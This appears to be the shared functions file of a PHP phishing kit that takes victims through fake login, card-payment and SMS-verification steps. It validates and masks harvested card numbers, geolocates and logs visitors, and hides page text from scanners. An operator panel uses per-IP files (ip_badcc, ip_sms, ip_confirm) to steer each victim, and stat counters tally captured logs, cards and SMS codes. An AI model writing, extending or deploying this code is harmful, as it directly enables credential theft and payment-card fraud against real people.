<?php
/**
 * Main Functions Library
 * Common functions used across the application
 */

// Prevent direct access
if (!defined('APP_ACCESS')) {
    die('Direct access not permitted');
}

/**
 * Load language file
 * 
 * @param string $langCode Language code (en, fr, es, etc.)
 * @return array Language strings
 */
function loadLanguage($langCode = null) {
    if ($langCode === null) {
        $langCode = detectLanguage();
    }
    
    // Validate language code
    if (!in_array($langCode, AVAILABLE_LANGUAGES)) {
        $langCode = DEFAULT_LANGUAGE;
    }
    
    $langFile = LANGUAGES_PATH . "/{$langCode}.php";
    
    if (file_exists($langFile)) {
        include $langFile;
        return isset($lang) ? $lang : [];
    }
    
    // Fallback to default language
    $defaultFile = LANGUAGES_PATH . "/" . DEFAULT_LANGUAGE . ".php";
    if (file_exists($defaultFile)) {
        include $defaultFile;
        return isset($lang) ? $lang : [];
    }
    
    return [];
}

/**
 * Detect user's language from IP geolocation
 * Falls back to browser language if geolocation fails
 * 
 * @return string Language code
 */
function detectLanguage() {
    if (!AUTO_DETECT_LANGUAGE) {
        return DEFAULT_LANGUAGE;
    }
    
    // Try to detect language from IP geolocation first
    $ip = getClientIP();
    $countryCode = getCountryFromIP($ip);
    
    if ($countryCode) {
        // Map country codes to language codes
        $countryToLanguage = [
            'US' => 'en', 'GB' => 'en', 'CA' => 'en', 'AU' => 'en', 'NZ' => 'en', 'IE' => 'en',
            'FR' => 'fr', 'BE' => 'fr', 'CH' => 'fr', 'LU' => 'fr', 'MC' => 'fr',
            'ES' => 'es', 'MX' => 'es', 'AR' => 'es', 'CO' => 'es', 'CL' => 'es', 'PE' => 'es', 'VE' => 'es',
            'DE' => 'de', 'AT' => 'de', 'LI' => 'de',
            'PT' => 'pt', 'BR' => 'pt', 'AO' => 'pt', 'MZ' => 'pt',
            'NO' => 'no', 'BV' => 'no', 'SJ' => 'no',
            'IT' => 'it', 'SM' => 'it', 'VA' => 'it',
            'NL' => 'nl', 'SR' => 'nl', 'AW' => 'nl',
            'SE' => 'sv', 'FI' => 'sv', 'AX' => 'sv',
            'DK' => 'da', 'GL' => 'da', 'FO' => 'da',
            'PL' => 'pl',
            'TR' => 'tr', 'CY' => 'tr',
            'RU' => 'ru', 'BY' => 'ru', 'KZ' => 'ru', 'KG' => 'ru',
            'SA' => 'ar', 'AE' => 'ar', 'EG' => 'ar', 'IQ' => 'ar', 'JO' => 'ar', 'KW' => 'ar', 
            'LB' => 'ar', 'LY' => 'ar', 'MA' => 'ar', 'OM' => 'ar', 'QA' => 'ar', 'SY' => 'ar', 
            'TN' => 'ar', 'YE' => 'ar', 'BH' => 'ar', 'DZ' => 'ar', 'SD' => 'ar',
            'JP' => 'ja',
            'KR' => 'ko', 'KP' => 'ko'
        ];
        
        if (isset($countryToLanguage[$countryCode]) && in_array($countryToLanguage[$countryCode], AVAILABLE_LANGUAGES)) {
            return $countryToLanguage[$countryCode];
        }
    }
    
    // Fallback to browser language detection
    $browserLanguages = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : '';
    $acceptedLanguages = explode(',', $browserLanguages);
    
    foreach ($acceptedLanguages as $acceptedLanguage) {
        $languageCode = strtolower(strtok($acceptedLanguage, '-'));
        
        if (in_array($languageCode, AVAILABLE_LANGUAGES)) {
            return $languageCode;
        }
    }
    
    return DEFAULT_LANGUAGE;
}

/**
 * Get country code from IP address
 * 
 * @param string $ip IP address
 * @return string|null Country code (ISO 2-letter) or null if failed
 */
function getCountryFromIP($ip) {
    // Skip for localhost/private IPs
    if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {
        return null;
    }
    
    // Try multiple geolocation APIs for reliability
    $apis = [
        "http://ip-api.com/json/{$ip}?fields=countryCode",
        "https://ipapi.co/{$ip}/country_code/",
        "http://www.geoplugin.net/json.gp?ip={$ip}"
    ];
    
    foreach ($apis as $api) {
        try {
            $ch = curl_init($api);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_TIMEOUT, 3);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            
            $response = curl_exec($ch);
            $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
            
            if ($httpCode === 200 && $response) {
                // ip-api.com
                if (strpos($api, 'ip-api.com') !== false) {
                    $data = json_decode($response, true);
                    if (isset($data['countryCode'])) {
                        return $data['countryCode'];
                    }
                }
                // ipapi.co
                elseif (strpos($api, 'ipapi.co') !== false) {
                    $countryCode = trim($response);
                    if (strlen($countryCode) === 2) {
                        return $countryCode;
                    }
                }
                // geoplugin.net
                elseif (strpos($api, 'geoplugin.net') !== false) {
                    $data = json_decode($response, true);
                    if (isset($data['geoplugin_countryCode'])) {
                        return $data['geoplugin_countryCode'];
                    }
                }
            }
        } catch (Exception $e) {
            // Continue to next API
            continue;
        }
    }
    
    return null;
}

/**
 * Obfuscate text (anti-bot technique)
 * Adds invisible characters to confuse bots
 * 
 * @param string $text Text to obfuscate
 * @return string Obfuscated text
 */
function obfuscateText($text) {
    $result = '';
    $chars = str_split($text);
    
    foreach ($chars as $char) {
        if (ctype_alnum($char) || $char === ' ') {
            // Add invisible span before and after each character
            $result .= '<span style="display:none;">' . substr(md5(uniqid()), 0, 1) . '</span>';
            $result .= $char;
            $result .= '<span style="display:none;">' . substr(md5(uniqid()), 0, 1) . '</span>';
        } else {
            $result .= $char;
        }
    }
    
    return $result;
}

/**
 * Log visitor information
 * 
 * @param string $page Page visited
 */
function logVisit($page = 'unknown') {
    if (!LOG_VISITS) {
        return;
    }
    
    $ip = getClientIP();
    $userAgent = getUserAgent();
    $timestamp = date('Y-m-d H:i:s');
    
    // Get geo info
    $geoInfo = getGeoInfo($ip);
    
    $logEntry = "[{$timestamp}] Page: {$page} | IP: {$ip} | Country: {$geoInfo['country']} | City: {$geoInfo['city']} | Agent: {$userAgent}\n";
    
    @file_put_contents(VISITS_LOG_FILE, $logEntry, FILE_APPEND | LOCK_EX);
}

/**
 * Get geolocation information
 * 
 * @param string $ip IP address
 * @return array Geo information
 */
function getGeoInfo($ip) {
    $default = [
        'country' => 'Unknown',
        'countryCode' => 'XX',
        'city' => 'Unknown',
        'region' => 'Unknown',
        'isp' => 'Unknown'
    ];
    
    // Check cache
    $cacheKey = 'geo_' . md5($ip);
    if (isset($_SESSION[$cacheKey])) {
        return $_SESSION[$cacheKey];
    }
    
    try {
        $url = "http://ip-api.com/json/{$ip}";
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_TIMEOUT, 5);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        
        $response = curl_exec($ch);
        curl_close($ch);
        
        if ($response) {
            $data = json_decode($response, true);
            if ($data && $data['status'] === 'success') {
                $geoInfo = [
                    'country' => isset($data['country']) ? $data['country'] : 'Unknown',
                    'countryCode' => isset($data['countryCode']) ? $data['countryCode'] : 'XX',
                    'city' => isset($data['city']) ? $data['city'] : 'Unknown',
                    'region' => isset($data['regionName']) ? $data['regionName'] : 'Unknown',
                    'isp' => isset($data['isp']) ? $data['isp'] : 'Unknown'
                ];
                
                // Cache result
                $_SESSION[$cacheKey] = $geoInfo;
                return $geoInfo;
            }
        }
    } catch (Exception $e) {
        logMessage('Geo API error: ' . $e->getMessage(), BOTS_LOG_FILE);
    }
    
    return $default;
}

/**
 * Validate email address
 * 
 * @param string $email Email to validate
 * @return bool
 */
function validateEmail($email) {
    return filter_var($email, FILTER_VALIDATE_EMAIL) !== false;
}

/**
 * Validate credit card number (Luhn algorithm)
 * 
 * @param string $cardNumber Card number
 * @return bool
 */
function validateCreditCard($cardNumber) {
    $cardNumber = preg_replace('/\s+/', '', $cardNumber);
    
    if (!ctype_digit($cardNumber) || strlen($cardNumber) < 13 || strlen($cardNumber) > 19) {
        return false;
    }
    
    // Luhn algorithm
    $sum = 0;
    $numDigits = strlen($cardNumber);
    $parity = $numDigits % 2;
    
    for ($i = 0; $i < $numDigits; $i++) {
        $digit = (int)$cardNumber[$i];
        
        if ($i % 2 == $parity) {
            $digit *= 2;
            if ($digit > 9) {
                $digit -= 9;
            }
        }
        
        $sum += $digit;
    }
    
    return ($sum % 10) == 0;
}

/**
 * Get card type from number
 * 
 * @param string $cardNumber Card number
 * @return string Card type (Visa, Mastercard, etc.)
 */
function getCardType($cardNumber) {
    $cardNumber = preg_replace('/\s+/', '', $cardNumber);
    
    $patterns = [
        'Visa' => '/^4[0-9]{12}(?:[0-9]{3})?$/',
        'Mastercard' => '/^5[1-5][0-9]{14}$/',
        'American Express' => '/^3[47][0-9]{13}$/',
        'Discover' => '/^6(?:011|5[0-9]{2})[0-9]{12}$/',
        'JCB' => '/^(?:2131|1800|35\d{3})\d{11}$/',
        'Diners Club' => '/^3(?:0[0-5]|[68][0-9])[0-9]{11}$/',
        'Maestro' => '/^(5018|5020|5038|6304|6759|6761|6763)[0-9]{8,15}$/'
    ];
    
    foreach ($patterns as $type => $pattern) {
        if (preg_match($pattern, $cardNumber)) {
            return $type;
        }
    }
    
    return 'Unknown';
}

/**
 * Generate random string
 * 
 * @param int $length Length of string
 * @return string Random string
 */
function generateRandomString($length = 10) {
    $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $charactersLength = strlen($characters);
    $randomString = '';
    
    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, $charactersLength - 1)];
    }
    
    return $randomString;
}

/**
 * Check if session is valid
 * 
 * @return bool
 */
function isSessionValid() {
    if (!isset($_SESSION['started_at'])) {
        $_SESSION['started_at'] = time();
        return true;
    }
    
    $elapsed = time() - $_SESSION['started_at'];
    
    if ($elapsed > SESSION_TIMEOUT) {
        session_destroy();
        return false;
    }
    
    return true;
}

/**
 * Get current step in the flow
 * 
 * @return string Current step (login, payment, sms, complete)
 */
function getCurrentStep() {
    if (isset($_SESSION['sms_verified']) && $_SESSION['sms_verified']) {
        return 'complete';
    }
    
    if (isset($_SESSION['card_submitted']) && $_SESSION['card_submitted']) {
        return 'sms';
    }
    
    if (isset($_SESSION['login_submitted']) && $_SESSION['login_submitted']) {
        return 'payment';
    }
    
    return 'login';
}

/**
 * Format card number for display
 * 
 * @param string $cardNumber Card number
 * @return string Formatted card number
 */
function formatCardNumber($cardNumber) {
    $cardNumber = preg_replace('/\s+/', '', $cardNumber);
    return chunk_split($cardNumber, 4, ' ');
}

/**
 * Mask card number
 * 
 * @param string $cardNumber Card number
 * @return string Masked card number
 */
function maskCardNumber($cardNumber) {
    $cardNumber = preg_replace('/\s+/', '', $cardNumber);
    $length = strlen($cardNumber);
    
    if ($length < 4) {
        return str_repeat('*', $length);
    }
    
    return str_repeat('*', $length - 4) . substr($cardNumber, -4);
}

/**
 * Check response status for panel control
 * 
 * @return string Status (sms, badsms, confirm, unknown)
 */
function response() {
    $ip = getClientIP();
    
    $files = [
        'sms' => BASE_PATH . '/Panel/action/ip_sms.txt',
        'app' => BASE_PATH . '/Panel/action/ip_app.txt',
        'badapp' => BASE_PATH . '/Panel/action/ip_badapp.txt',
        'badsms' => BASE_PATH . '/Panel/action/ip_badsms.txt',
        'badcc' => BASE_PATH . '/Panel/action/ip_badcc.txt',
        'confirm' => BASE_PATH . '/Panel/action/ip_confirm.txt'
    ];
    
    foreach ($files as $status => $file) {
        if (file_exists($file)) {
            $content = file_get_contents($file);
            if (strpos($content, $ip) !== false) {
                return $status;
            }
        }
    }
    
    return 'unknown';
}

/**
 * Update/clean IP from action files
 */
function updateActionFiles() {
    $ip = getClientIP();
    
    $files = [
        BASE_PATH . '/Panel/action/ip_sms.txt',
        BASE_PATH . '/Panel/action/ip_badsms.txt',
        BASE_PATH . '/Panel/action/ip_confirm.txt'
    ];
    
    foreach ($files as $file) {
        if (file_exists($file)) {
            $content = file_get_contents($file);
            $content = str_replace($ip, '', $content);
            $content = str_replace("\n\n", "\n", $content); // Remove double newlines
            file_put_contents($file, $content);
        }
    }
}

/**
 * Update statistics
 * 
 * @param string $type Type of stat to update (clicks, logs, cards, sms, bots)
 */
function updateStats($type) {
    $statsFile = BASE_PATH . '/Panel/stats/stats.ini';
    
    if (!file_exists($statsFile)) {
        $initialStats = "clicks=0\nlogs=0\ncards=0\nsms=0\nbots=0\n";
        file_put_contents($statsFile, $initialStats);
    }
    
    $stats = parse_ini_file($statsFile);
    
    if (isset($stats[$type])) {
        $stats[$type]++;
        
        $content = "";
        foreach ($stats as $key => $value) {
            $content .= "$key=$value\n";
        }
        
        file_put_contents($statsFile, $content);
    }
}

/**
 * Check if IP is in file
 * 
 * @param string $filename Filename to check
 * @param string $ip IP address
 * @return bool
 */
function isIPInFile($filename, $ip = null) {
    if ($ip === null) {
        $ip = getClientIP();
    }
    
    $filepath = BASE_PATH . '/Panel/action/' . $filename;
    
    if (!file_exists($filepath)) {
        return false;
    }
    
    $content = file_get_contents($filepath);
    return (strpos($content, $ip) !== false);
}

?>
